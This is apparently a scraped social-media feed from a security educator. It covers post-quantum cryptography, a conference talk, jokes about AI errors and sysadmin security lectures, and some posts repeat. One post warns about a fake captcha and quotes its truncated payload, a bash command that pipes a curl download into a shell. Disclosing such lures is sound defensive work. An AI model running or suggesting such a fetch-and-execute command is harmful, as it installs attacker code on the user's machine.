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Now what the fresh fuck is this, then?
Not today, Satan.
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Remember to update your libc for the new AI errno(2) values that just dropped:
https://www.netmeister.org/blog/ai-errno.html
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Periodic reminder that Carl Sagan knew back in 1995 what's coming.
This quote from his "Demon-haunted World" has been popping up every few years ever since, and every time it feels more and more on the money than before.
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Now what the fresh fuck is this, then?
Not today, Satan.
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IETF on #PQC pure ML-DSA vs hybrid
Left: TLS WG
Right: SSH WG
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Heyo! I'll be at #Troopers26 tomorrow morning to make fetch happen and talk about Q-Day (illustrated below). So get in losers, we're upgrading the internet!
https://troopers.de/troopers26/talks/jz8z3d/
#pqc #cryptography
Edit: there is no way this is an actual captcha, but I can't get it to serve me an actual payload, which threw me off. Reported the domain to Cloudflare and Namecheap fwiw.
Payload is
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/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL 'e…
Periodic reminder that Carl Sagan knew back in 1995 what's coming.
This quote from his "Demon-haunted World" has been popping up every few years ever since, and every time it feels more and more on the money than before.
Shared the "'a's in strawberry' with my daughter; she countered with this. Strong "The closest is Kenya, which starts with a ‘K’ sound." vibes here.
AI is going great.
Remember to update your libc for the new AI errno(2) values that just dropped:
https://www.netmeister.org/blog/ai-errno.html
My students put a list of quotes from me on the CtF server when they finally captured it and I think I'm ok with that.
Current xkcd 303 status.
System Administration: Week 12: System Security II: From the Attack Life Cycle to Zero Trust
In this video, we continue approaching System Security from an attacker's point of view by understanding their common processes, following the Att…
Current #infosec status.
System Administration: Week 12: System Security II: Defining a Threat Model
In this video, we look at the concept of a Threat Model and how the attack economics may shift based on your adversaries capabilities and motives. We introduce the…
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